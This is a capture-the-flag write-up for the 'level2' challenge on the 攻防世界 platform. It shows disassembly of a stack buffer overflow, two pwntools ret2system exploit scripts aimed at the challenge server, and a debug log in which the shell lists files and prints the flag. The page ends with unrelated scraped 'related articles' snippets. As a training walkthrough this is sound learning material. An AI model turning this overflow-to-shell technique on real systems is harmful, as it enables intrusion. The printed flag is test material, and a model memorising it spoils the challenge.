攻防世界-level2

2023-10-27

攻防世界-level2

image-20230408153709888

image-20230408153749676

.text:0804844B vulnerable_function proc near           ; CODE XREF: main+11p
.text:0804844B
.text:0804844B buf             = byte ptr -88h
.text:0804844B
.text:0804844B                 push    ebp
.text:0804844C                 mov     ebp, esp
.text:0804844E                 sub     esp, 88h
.text:08048454                 sub     esp, 0Ch
.text:08048457                 push    offset command  ; "echo Input:"
.text:0804845C                 call    _system
.text:08048461                 add     esp, 10h
.text:08048464                 sub     esp, 4
.text:08048467                 push    100h            ; nbytes
.text:0804846C                 lea     eax, [ebp+buf]
.text:08048472                 push    eax             ; buf
.text:08048473                 push    0               ; fd
.text:08048475                 call    _read
.text:0804847A                 add     esp, 10h
.text:0804847D                 nop
.text:0804847E                 leave
.text:0804847F                 retn
.text:0804847F vulnerable_function endp
.text:08048480 main            proc near               ; DATA XREF: _start+17o
.text:08048480
.text:08048480 var_4           = dword ptr -4
.text:08048480 argc            = dword ptr  0Ch
.text:08048480 argv            = dword ptr  10h
.text:08048480 envp            = dword ptr  14h
.text:08048480
.text:08048480                 lea     ecx, [esp+4]
.text:08048484                 and     esp, 0FFFFFFF0h
.text:08048487                 push    dword ptr [ecx-4]
.text:0804848A                 push    ebp
.text:0804848B                 mov     ebp, esp
.text:0804848D                 push    ecx
.text:0804848E                 sub     esp, 4
.text:08048491                 call    vulnerable_function
.text:08048496                 sub     esp, 0Ch
.text:08048499                 push    offset aEchoHelloWorld ; "echo 'Hello World!'"
.text:0804849E                 call    _system
.text:080484A3                 add     esp, 10h
.text:080484A6                 mov     eax, 0
.text:080484AB                 mov     ecx, [ebp+var_4]
.text:080484AE                 leave
.text:080484AF                 lea     esp, [ecx-4]
.text:080484B2                 retn
.text:080484B2 main    


image-20230408154001955

image-20230408154033232

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('61.147.171.105',60839)
#nc 61.147.171.105 
#nc 61.147.171.105 60839
e = ELF("level2")
#pop_rdi_addr = 0x08048519
system_addr = e.symbols['system']
binsh_addr = e.search('/bin/sh').next()

print(system_addr)
print(binsh_addr)




pad=136+4

pause()

#ret_addr=0x0804A024
#payload=b'A'*pad+p32(ret_addr)


delimiter='Input:'
payload = b'A'*pad   + p32(system_addr)+b'dead' + p32(binsh_addr)
#payload = b'A'*(0x88+4) + p32(binsh_addr) + 'dead'+ p32(system_addr)
io.sendlineafter(delimiter,payload)
io.interactive()

#0804A024




or:

 from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('61.147.171.105',60839)
#nc 61.147.171.105 
#nc 61.147.171.105 60839
e = ELF("level2")
#pop_rdi_addr = 0x08048519
system_addr = 0x08048320
binsh_addr = 0x0804A024

print(system_addr)
print(binsh_addr)



#88h=16*8+8=136
pad=136+4


pause()

#ret_addr=0x0804A024
#payload=b'A'*pad+p32(ret_addr)


delimiter='Input:'
payload = b'A'*pad  + p32(system_addr)+b'dead' + p32(binsh_addr)
#payload = b'A'*(0x88+4) + p32(binsh_addr) + 'dead'+ p32(system_addr)
io.sendlineafter(delimiter,payload)
io.interactive()

#0804A024




giantbranch@ubuntu:~/Desktop/study$ python level2-3.py 
[+] Opening connection to 61.147.171.105 on port 60839: Done
[DEBUG] PLT 0x8048310 read
[DEBUG] PLT 0x8048320 system
[DEBUG] PLT 0x8048330 __gmon_start__
[DEBUG] PLT 0x8048340 __libc_start_main
[*] '/home/giantbranch/Desktop/study/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
134513440
134520868
[*] Paused (press any to continue)
[DEBUG] Received 0x7 bytes:
    'Input:\n'
[DEBUG] Sent 0x99 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  41 41 41 41  20 83 04 08  │AAAA│AAAA│AAAA│ ···│
    00000090  64 65 61 64  24 a0 04 08  0a                        │dead│$···│·│
    00000099
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x24 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'level2\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
bin
dev
flag
level2
lib
lib32
lib64
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x24 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'level2\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
bin
dev
flag
level2
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{9a19ef0dea6816905941e2c63652d2a8}\n'
cyberpeace{9a19ef0dea6816905941e2c63652d2a8}
$  

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

攻防世界-level2 的相关文章

  • (discord.py) 尝试更改成员角色时,“用户”对象没有属性“角色”

    因此 我正在尝试编写一个机器人 让某人在命令中指定的主持人指定的一段时间内暂停角色 我知道该变量称为 小时 即使它目前以秒为单位 我稍后会解决这个问题 基本上 它是由主持人在消息 暂停 personmention numberofhours
  • 使用Python开发Web应用程序

    我一直在用 python 做一些工作 但这都是针对独立应用程序的 我很想知道 python 的任何分支是否支持 Web 开发 有人还会建议一个好的教程或网站吗 我可以从中学习一些使用 python 进行 Web 开发的基础知识 既然大家都说
  • 将字符串转换为带有毫秒和时区的日期时间 - Python

    我有以下 python 片段 from datetime import datetime timestamp 05 Jan 2015 17 47 59 000 0800 datetime object datetime strptime t
  • 导入错误:没有名为 _ssl 的模块

    带 Python 2 7 的 Ubuntu Maverick 我不知道如何解决以下导入错误 gt gt gt import ssl Traceback most recent call last File
  • 如何打印没有类型的defaultdict变量?

    在下面的代码中 from collections import defaultdict confusion proba dict defaultdict float for i in xrange 10 confusion proba di
  • 如何在 Sublime Text 2 的 OSX 终端中显示构建结果

    我刚刚从 TextMate 切换到 Sublime Text 2 我非常喜欢它 让我困扰的一件事是默认的构建结果显示在 ST2 的底部 我的程序产生一些很长的结果 显示它的理想方式 如在 TM2 中 是并排查看它们 如何在 Mac 操作系统
  • Python tcl 未正确安装

    我刚刚为 python 安装了graphics py 但是当我尝试运行以下代码时 from graphics import def main win GraphWin My Circle 100 100 c Circle Point 50
  • __del__ 真的是析构函数吗?

    我主要用 C 做事情 其中 析构函数方法实际上是为了销毁所获取的资源 最近我开始使用python 这真的很有趣而且很棒 我开始了解到它有像java一样的GC 因此 没有过分强调对象所有权 构造和销毁 据我所知 init 方法对我来说在 py
  • 从列表中的数据框列中搜索部分字符串匹配 - Pandas - Python

    我有一个清单 things A1 B2 C3 我有一个 pandas 数据框 其中有一列包含用分号分隔的值 某些行将包含与上面列表中的一项的匹配 它不会是完美的匹配 因为它在其中包含字符串的其他部分 该列 例如 该列中的一行可能有 哇 这里
  • python pandas 中的双端队列

    我正在使用Python的deque 实现一个简单的循环缓冲区 from collections import deque import numpy as np test sequence np array range 100 2 resha
  • Abaqus 将曲面转化为集合

    我一直试图在模型中找到两个表面的中心 参见照片 但未能成功 它们是元素表面 面 查询中没有选项可以查找元素表面的中心 只能查找元素集的中心 找到节点集的中心也很好 但是我的节点集没有出现在工具 gt 查询 gt 质量属性选项中 而且我找不到
  • Numpy 优化

    我有一个根据条件分配值的函数 我的数据集大小通常在 30 50k 范围内 我不确定这是否是使用 numpy 的正确方法 但是当数字超过 5k 时 它会变得非常慢 有没有更好的方法让它更快 import numpy as np N 5000
  • Python 3 中“map”类型的对象没有 len()

    我在使用 Python 3 时遇到问题 我得到了 Python 2 7 代码 目前我正在尝试更新它 我收到错误 类型错误 map 类型的对象没有 len 在这部分 str len seed candidates 在我像这样初始化它之前 se
  • 从 pygame 获取 numpy 数组

    我想通过 python 访问我的网络摄像头 不幸的是 由于网络摄像头的原因 openCV 无法工作 Pygame camera 使用以下代码就像魅力一样 from pygame import camera display camera in
  • 为美国东部以外地区的 Cloudwatch 警报发送短信?

    AWS 似乎没有为美国东部以外的 SNS 主题订阅者提供 SMS 作为协议 我想连接我的 CloudWatch 警报并在发生故障时接收短信 但无法将其发送到 SMS YES 经过一番挖掘后 我能够让它发挥作用 它比仅仅选择一个主题或输入闹钟
  • 在 Pandas DataFrame Python 中添加新列[重复]

    这个问题在这里已经有答案了 例如 我在 Pandas 中有数据框 Col1 Col2 A 1 B 2 C 3 现在 如果我想再添加一个名为 Col3 的列 并且该值基于 Col2 式中 如果Col2 gt 1 则Col3为0 否则为1 所以
  • 用于运行可执行文件的python多线程进程

    我正在尝试将一个在 Windows 上运行可执行文件并管理文本输出文件的 python 脚本升级到使用多线程进程的版本 以便我可以利用多个核心 我有四个独立版本的可执行文件 每个线程都知道要访问它们 这部分工作正常 我遇到问题的地方是当它们
  • 在python中,如何仅搜索所选子字符串之前的一个单词

    给定文本文件中的长行列表 我只想返回紧邻其前面的子字符串 例如单词狗 描述狗的单词 例如 假设有这些行包含狗 hotdog big dog is dogged dog spy with my dog brown dogs 在这种情况下 期望
  • 您可以在 Python 类型注释中指定方差吗?

    你能发现下面代码中的错误吗 米皮不能 from typing import Dict Any def add items d Dict str Any gt None d foo 5 d Dict str str add items d f
  • Python 分析:“‘select.poll’对象的‘poll’方法”是什么?

    我已经使用 python 分析了我的 python 代码cProfile模块并得到以下结果 ncalls tottime percall cumtime percall filename lineno function 13937860 9

随机推荐

  • 限定特定的IP访问服务器

    需求 windows and Linux系统仅限指定的IP或网段登陆 解决方法和思路 1 Windows设置的方法有多种 方法一 通过本机自带的防火墙设置限制IP访问 修改下面三个规则属性 点击属性 查看对应设置 设定可以访问的地址段或IP
  • 构建REST风格的Web Service

    1 什么是REST REST 是由 Roy Fielding 在他的论文 Architectural Styles and the Design of Network based Software Architectures 中提出的一个术
  • 完美卸载Visual Studio2015的方法汇总

    前言 由于各种原因 阿木寺被迫回到VS2013时代 所以此时VS2015也没有必要存在 于是再网上找了各种卸载方法 简介 方法一 适合于有点基础电脑知识的童鞋 难度 方法二 适合于小白 难度 方法三 适合于技术控 难度 方法一 1 利用当初
  • PyTorch中torchvision介绍

    TorchVision包包含流行的数据集 模型架构和用于计算机视觉的图像转换 它是PyTorch项目的一部分 TorchVison最新发布版本为v0 11 1 发布较频繁 它的license为BSD 3 Clause 它的源码位于 http
  • 高并发秒杀系统架构设计与实现(RuoYi-Cloud-SecKill)

    介绍 本项目是基于若依RuoYi Cloud的高并发秒杀微服务项目 RuoYi Cloud SecKill 后端采用Spring Boot Spring Cloud Alibaba MyBatis 前端采用Vue ElementUI 通过创
  • [Java]Maven项目中,子模块之间引用不同模块的方法时,会出现< 程序包:com.xxx.xxx.common.base.result 不存在>解决办法

    启动 ServiceOssApplication时报错 程序包 com atguigu guli common base result 不存在 分析思路 该程序包是另一个子模块 common下的 common utill子模块中的工具类路径
  • 【redis篇】超详细的redis安装教程,学不会你找我

    目录 第一 下载安装包 第二 上传到服务器并解压 第三 安装编译所需依赖 升级GCC 第四 开始预编译 第五 安装 第六步 启动 方式一 直接启动 方式二 守护进程启动 方式三 开机自启动 第一 下载安装包 安装包下载地址 Download
  • 百度翻译api JAVA实现

    进入官方 http api fanyi baidu com api trans product index 点击立即使用 申请得到appid和密钥 ps 这要用作开发时的常量 若当月翻译字符数 2百万 当月免费 若超过2百万字符 按照49元
  • 【C++】继承基础知识一遍过

    目录 一 概念 二 继承定义 1 继承格式 2 访问限定符与继承方式的关系 3 继承父类成员访问方式的变化 小结 三 父类与子类对象赋值转化 四 继承作用域 1 特点 2 测试题 五 派生类不一样的默认成员函数 1 构造函数 2 拷贝构造
  • 机器学习笔记九——线性模型原理以及python实现案例

    线性模型 1 线性模型概述 2 广义线性模型 3 用于回归的线性模型 3 1 线性回归 又名普通最小二乘法 3 1 1 单变量线性回归 3 1 2 多变量线性回归 3 2 岭回归 ridge regression 3 3 LASSO回归 4
  • Excel基本操作方法

    Excel基本操作方法 1 选择不连续的单元格 选择一单元格之后 按 ctrl 键不放 并单击其他需要选择的单元格 2 插入单元格 选择 开始 单元格 组 单击插入按钮 在弹出的下拉列表中选择 插入单元格选项 3 合并和拆分单元格 选择要合
  • 如何用Stata完成(shui)一篇经济学论文(七):判断语句

    目录 基本判断语句 if 逻辑判断 或且非 用 判断 基本判断语句 if 与其他语言类似 Stata中也有if if else 和while 不过我还从来没有在Stata用过后两个 秉着这个教程也是一个快速教程 这里我就只介绍if 如果大家
  • pandas 解决滑动窗口不会计算存在空值的窗口

    Pandas官方的滑动窗口文档请参考 https pandas pydata org docs reference api pandas DataFrame rolling html 解决方法 添加参数 min periods 用于指定 当
  • element ui修改table行鼠标经过样式(包括固定列)

  • 超详细SpringMVC 之 JSR303与拦截器

    一 JSR303 简介 JSR303是做服务端校验 参数验证 实现服务器校验步骤 1 做服务端参数校验 JSR303 的jar包依赖
  • 设计模式——设计模式简介和七大原则

    导航 黑马Java笔记 踩坑汇总 JavaSE JavaWeb SSM SpringBoot 瑞吉外卖 SpringCloud 黑马旅游 谷粒商城 学成在线 设计模式 牛客面试题 目录 一 通过经典面试题掌握重点 二 设计模式的目的和核心原
  • Unity3D之键盘输入

    目录 获取按键状态 检测特殊按键 获取键盘输入 自定义键位 获取按键状态 Unity的Input类提供了几个方法来获取按键的状态 GetKey GetKey方法用于检测指定按键是否被按住 if Input GetKey KeyCode Sp
  • twrp Xposed zip包脚本定制全解析

    声明 本文不对印刷机导致的任何结果承担责任 请谨慎尝试 想要研究一个新技术 最好的办法就是read the fuck source code 读源码时最直接高效的方式 当然 这很难啃 所以通常也可以配合网上一些教程来理解 但是通常 值钱的技
  • 接口学习总结

    接口测试学习总结 什么是接口测试 接口测试是项目测试的一部分 它测试的主要对象是接口 是测试系统组件间接口的一种测试 接口测试主要用于检测外部系统与所测系统之间以及内部各系统之间的交互点 测试的重点是检查数据交互 传递 和控制管理过程以及系
  • 攻防世界-level2

    攻防世界 level2 text 0804844B vulnerable function proc near CODE XREF main 11p text 0804844B text 0804844B buf byte ptr 88h